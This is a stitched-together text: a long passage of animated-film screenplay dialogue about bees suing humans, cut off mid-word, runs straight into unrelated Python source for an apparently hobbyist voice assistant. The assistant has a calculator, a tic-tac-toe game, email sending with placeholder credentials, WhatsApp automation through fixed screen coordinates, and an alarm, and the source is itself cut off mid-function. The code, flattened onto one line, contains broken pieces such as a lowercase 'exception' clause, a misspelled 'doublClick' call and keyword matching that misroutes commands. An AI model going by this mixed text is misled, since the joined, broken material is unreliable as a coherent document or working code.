Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Chapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! You're bluffing. Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. You got the tweezers? Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. Good friends? Yes. How good? Do you live together? Wait a minute... Are you her little... bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? Yeah, but... So those aren't your real parents! Oh, Barry... Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? Objection! I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! Adam, stay with me. I can't feel my legs. What Angel of Mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed Turn Against the bees yesterday when one of their legal team stung Layton T. Montgomery. Hey, buddy. Hey. Is there much pain? Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then...and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Could you get a nurse to close that window? Why? The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? What are we gonna do? He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. What if Montgomery's right? What do you mean? We've been living the bee way a long time, 27 million years. Congratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Can't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups and there's gallons more coming! I think we need to shut down! Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Cannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? Are they out celebrating? They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Carl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? What did you want to show me? This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's not just flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? I'll sting you, you step on me. That just kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the Last Chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? Roses are flowers! Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Could you ask him to slow down? Could you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. Bees. Park. Pollen! Flowers. Repollination! Across the nation! Tournament of Roses, Pasadena, California. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. Where should I sit? What are you? I believe I'm the pea. The pea? It goes under the mattresses. Not in this fairy tale, sweetheart. I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. You and your insect pack your float? Yes. Has it been in your possession the entire time? Would you remove your shoes? Remove your stinger. It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Can you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Captain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Can I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Captain, I'm in a real situation. What'd you say, Hal? Nothing. Bee! Don't freak out! My entire species... What are you doing? Wait a minute! I'm an attorney! Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! Is that another bee joke? No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. Who's that? Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. Why not? Isn't John Travolta a pilot? Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." Get this on the air! Got it. Stand by. We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. Black and yellow! Hello! Left, right, down, hover. Hover? Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. That may have been helping me. And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. You snap out of it! You snap out of it! You snap out of it! You snap out of it! You snap out of it! You snap out of it! Hold it! Why? Come on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. Black and yellow. Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Can you? No, nothing. It's all cloudy. Come on. You got to think bee, Barry. Thinking bee. Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. What? I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! What in the world is on the tarmac? Get some lights on that! Thinking bee! Thinking bee! Thinking bee! Vanessa, aim for the flower. OK. Cut the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! Not that flower! The other one! Which one? That flower. I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. This is insane, Barry! This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Come on, already. Barry, we did it! You taught me how to fly! Yes. No high-five! Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! Thank you. But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our Last Chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, or just Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Can I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Can I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. When will this nightmare end?! Let it all go. Beautiful day to fly. Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. Thinking bee! Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Can we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I h

import pyttsx3 import speech_recognition as sr import datetime from datetime import date import calendar import time import math import wikipedia import webbrowser import os import smtplib import winsound import pyautogui import cv2 from pygame import mixer from tkinter import * import tkinter.messagebox as message from sqlite3 import * conn = connect("voice_assistant_asked_questions.db") conn.execute("CREATE TABLE IF NOT EXISTS `voicedata`(id INTEGER PRIMARY KEY AUTOINCREMENT,command VARCHAR(201))") conn.execute("CREATE TABLE IF NOT EXISTS `review`(id INTEGER PRIMARY KEY AUTOINCREMENT, review VARCHAR(50), type_of_review VARCHAR(50))") conn.execute("CREATE TABLE IF NOT EXISTS `emoji`(id INTEGER PRIMARY KEY AUTOINCREMENT,emoji VARCHAR(201))") global query engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() def wishMe(): hour = int(datetime.datetime.now().hour) if hour >= 0 and hour<12: speak("Good Morning!") elif hour >= 12 and hour < 18: speak("Good Afternoon!") else: speak("Good Evening!") speak("I am voice assistant Akshu2020 Sir. Please tell me how may I help you.") def takeCommand(): global query r = sr.Recognizer() with sr.Microphone() as source: print("Listening...") r.pause_threshold = 0.9 audio = r.listen(source) try: print("Recognizing...") query = r.recognize_google(audio,language='en-in') print(f"User said: {query}\n") except Exception as e: #print(e) print("Say that again please...") #speak('Say that again please...') return "None" return query def calculator(): global query try: if 'add' in query or 'edi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to add') b = float(input("Enter another number to add:")) c = a+b print(f"{a} + {b} = {c}") speak(f'The addition of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sub' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to subtract') b = float(input("Enter another number to subtract:")) c = a-b print(f"{a} - {b} = {c}") speak(f'The subtraction of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'mod' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number') b = float(input("Enter another number:")) c = a%b print(f"{a} % {b} = {c}") speak(f'The modular division of {a} and {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'div' in query: speak('Enter a number as dividend') a = float(input("Enter a number:")) speak('Enter another number as divisor') b = float(input("Enter another number as divisor:")) c = a/b print(f"{a} / {b} = {c}") speak(f'{a} divided by {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'multi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to multiply') b = float(input("Enter another number to multiply:")) c = a*b print(f"{a} x {b} = {c}") speak(f'The multiplication of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square root' in query: speak('Enter a number to find its sqare root') a = float(input("Enter a number:")) c = a**(1/2) print(f"Square root of {a} = {c}") speak(f'Square root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**2 print(f"{a} x {a} = {c}") speak(f'Square of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube root' in query: speak('Enter a number to find its cube root') a = float(input("Enter a number:")) c = a**(1/3) print(f"Cube root of {a} = {c}") speak(f'Cube root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**3 print(f"{a} x {a} x {a} = {c}") speak(f'Cube of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'fact' in query: try: n = int(input('Enter the number whose factorial you want to find:')) fact = 1 for i in range(1,n+1): fact = fact*i print(f"{n}! = {fact}") speak(f'{n} factorial is equal to {fact}. Your answer is {fact}.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: #print(e) speak('I unable to calculate its factorial.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'power' in query or 'raise' in query: speak('Enter a number whose power you want to raised') a = float(input("Enter a number whose power to be raised :")) speak(f'Enter a raised power to {a}') b = float(input(f"Enter a raised power to {a}:")) c = a**b print(f"{a} ^ {b} = {c}") speak(f'{a} raise to the power {b} = {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'percent' in query: speak('Enter a number whose percentage you want to calculate') a = float(input("Enter a number whose percentage you want to calculate :")) speak(f'How many percent of {a} you want to calculate?') b = float(input(f"Enter how many percentage of {a} you want to calculate:")) c = (a*b)/100 print(f"{b} % of {a} is {c}") speak(f'{b} percent of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'interest' in query: speak('Enter the principal value or amount') p = float(input("Enter the principal value (P):")) speak('Enter the rate of interest per year') r = float(input("Enter the rate of interest per year (%):")) speak('Enter the time in months') t = int(input("Enter the time (in months):")) interest = (p*r*t)/1200 sint = round(interest) fv = round(p + interest) print(f"Interest = {interest}") print(f"The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {p + interest}.") speak(f'interest is {sint}. The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {fv}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'si' in query: speak('Enter the angle in degree to find its sine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.sin(b) speak('Here is your answer.') print(f"sin({a}) = {c}") speak(f'sin({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cos' in query: speak('Enter the angle in degree to find its cosine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.cos(b) speak('Here is your answer.') print(f"cos({a}) = {c}") speak(f'cos({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cot' in query or 'court' in query: try: speak('Enter the angle in degree to find its cotangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.tan(b) speak('Here is your answer.') print(f"cot({a}) = {c}") speak(f'cot({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print("infinity") speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'tan' in query or '10' in query: speak('Enter the angle in degree to find its tangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.tan(b) speak('Here is your answer.') print(f"tan({a}) = {c}") speak(f'tan({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cosec' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'caus' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sec' in query: try: speak('Enter the angle in degree to find its secant value') a = int(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.cos(b) speak('Here is your answer.') print(f"sec({a}) = {c}") speak(f'sec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: speak('I unable to do this calculation.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') def callback(r,c): global player if player == 'X' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='X',fg='blue', bg='white') states[r][c] = 'X' player = 'O' if player == 'O' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='O',fg='red', bg='yellow') states[r][c] = 'O' player = 'X' check_for_winner() def check_for_winner(): global stop_game global root for i in range(3): if states[i][0] == states[i][1]== states[i][2]!=0: b[i][0].config(bg='grey') b[i][1].config(bg='grey') b[i][2].config(bg='grey') stop_game = True root.destroy() for i in range(3): if states[0][i] == states[1][i] == states[2][i]!= 0: b[0][i].config(bg='grey') b[1][i].config(bg='grey') b[2][i].config(bg='grey') stop_game = True root.destroy() if states[0][0] == states[1][1]== states[2][2]!= 0: b[0][0].config(bg='grey') b[1][1].config(bg='grey') b[2][2].config(bg='grey') stop_game = True root.destroy() if states[2][0] == states[1][1] == states[0][2]!= 0: b[2][0].config(bg='grey') b[1][1].config(bg='grey') b[0][2].config(bg='grey') stop_game = True root.destroy() def sendEmail(to,content): server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login('xyz123@gmail.com','password') server.sendmail('xyz123@gmail.com',to,content) server.close() def brightness(): try: query = takeCommand().lower() if '25' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1610,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '50' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1684,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '75' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1758,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '100' in query or 'full' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1835,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') else: speak('Please select 25, 50, 75 or 100....... Say again.') brightness() except exception as e: #print(e) speak('Something went wrong') def close_window(): try: if 'y' in query: pyautogui.moveTo(1885,10) pyautogui.click() else: speak('ok') pyautogui.moveTo(1000,500) except exception as e: #print(e) speak('error') def whatsapp(): query = takeCommand().lower() if 'y' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') time.sleep(2) pyautogui.press('enter') time.sleep(2) pyautogui.moveTo(100,140) pyautogui.click() speak('To whom you want to send message,.....just write the name here in 5 seconds') time.sleep(7) pyautogui.moveTo(120,300) pyautogui.click() time.sleep(1) pyautogui.moveTo(800,990) pyautogui.click() speak('Say the message,....or if you want to send anything else,...say send document, or say send emoji') query = takeCommand() if ('sent' in query or 'send' in query) and 'document' in query: pyautogui.moveTo(660,990) pyautogui.click() time.sleep(1) pyautogui.moveTo(660,740) pyautogui.click() speak('please select the document within 10 seconds') time.sleep(12) speak('Should I send this document?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the document......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('document' in query or 'message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') elif ('sent' in query or 'send' in query) and 'emoji' in query: pyautogui.moveTo(620,990) pyautogui.click() pyautogui.moveTo(670,990) pyautogui.click() pyautogui.moveTo(650,580) pyautogui.click() speak('please select the emoji within 10 seconds') time.sleep(11) speak('Should I send this emoji?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('Sending the emoji......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doublClick(x=800, y=990) speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: pyautogui.write(f'{query}') speak('Should I send this message?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the message......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: speak('ok') def alarm(): root = Tk() root.title('Akshu2020 Alarm-Clock') speak('Please enter the time in the format hour, minutes and seconds. When the alarm should rang?') speak('Please enter the time greater than the current time') def setalarm(): alarmtime = f"{hrs.get()}:{mins.get()}:{secs.get()}" print(alarmtime) if(alarmtime!="::"): alarmclock(alarmtime) else: speak('You have not entered the time.') def alarmclock(alarmtime): while True: time.sleep(1) time_now=datetime.datetime.now().strftime("%H:%M:%S") print(time_now) if time_now == alarmtime: Wakeup=Label(root, font = ('arial', 20, 'bold'), text="Wake up! Wake up! Wake up",bg="DodgerBlue2",fg="white").grid(row=6,columnspan=3) speak("Wake up, Wake up") print("Wake up!") mixer.init() mixer.music.load(r'C:\Users\Admin\Music\Playlists\wake-up-will-you-446.mp3') mixer.music.play() break speak('you can click on close icon to close the alarm window.') hrs=StringVar() mins=StringVar() secs=StringVar() greet=Label(root, font = ('arial', 20, 'bold'),text="Take a short nap!").grid(row=1,columnspan=3) hrbtn=Entry(root,textvariable=hrs,width=5,font =('arial', 20, 'bold')) hrbtn.grid(row=2,column=1) minbtn=Entry(root,textvariable=mins, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=2) secbtn=Entry(root,textvariable=secs, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=3) setbtn=Button(root,text="set alarm",command=setalarm,bg="DodgerBlue2", fg="white",font = ('arial', 20, 'bold')).grid(row=4,columnspan=3) timeleft = Label(root,font=('arial', 20, 'bold')) timeleft.grid() mainloop() def select1(): global vs global root3 global type_of_review if vs.get() == 1: message.showinfo(" ","Thank you for your review!!") review = "Very Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 2: message.showinfo(" ","Thank you for your review!!") review = "Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 3: message.showinfo(" ","Thank you for your review!!!!") review = "Neither Satisfied Nor Dissatisfied" type_of_review = "Neutral" root3.destroy() elif vs.get() == 4: message.showinfo(" ","Thank you for your review!!") review = "Dissatisfied" type_of_review = "Negative" 